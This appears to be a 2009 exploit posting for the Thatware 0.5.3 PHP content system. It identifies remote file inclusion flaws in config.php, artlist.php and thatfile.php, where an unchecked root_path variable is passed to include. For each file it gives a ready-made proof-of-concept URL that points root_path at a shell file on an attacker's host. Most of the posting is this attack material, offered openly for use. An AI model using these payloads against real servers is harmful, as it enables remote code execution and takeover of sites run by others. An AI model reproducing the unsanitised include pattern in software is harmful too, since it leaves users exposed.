40 lines
No EOL
1.3 KiB
Text
40 lines
No EOL
1.3 KiB
Text
[ Discovered by cr4wl3r \ cr4wl3r[4t]linuxmail[dot]org ]
|
|
|
|
########################################################################
|
|
#Thatware <= 0.5.3 Multiple Remote File Include Exploit
|
|
#Download Script : http://sourceforge.net/projects/thatware/files
|
|
########################################################################
|
|
#
|
|
#Vuln : ./thatware_path/config.php (line 4)
|
|
#
|
|
# <?php
|
|
# include $root_path."db_settings.php";
|
|
# ?>
|
|
#
|
|
#PoC : http://server/config.php?root_path=http://[attcker]/shell.txt???
|
|
#
|
|
#Vuln : ./thatware_path/artlist.php (line 28)
|
|
#
|
|
# <?php
|
|
# include $root_path.'thatfile.php';
|
|
# ?>
|
|
#
|
|
#PoC : http://server/artlist.php?root_path=http://[attcker]/shell.txt???
|
|
#
|
|
#Vuln : ./thatware_path/thatfile.php (line 130)
|
|
#
|
|
# <?php
|
|
# if(file_exists($root_path.'config.php'))
|
|
# include($root_path.'config.php');
|
|
# ?>
|
|
#
|
|
#PoC : http://server/thatfile.php?root_path=http://[attcker]/shell.txt???
|
|
#
|
|
########################################################################
|
|
########################################################################
|
|
####################[90r0nt4l0 und3r9r0nd c0mmun1ty]####################
|
|
########################################################################
|
|
########################################################################
|
|
|
|
|
|
[ Gorontalo / 2009 ] |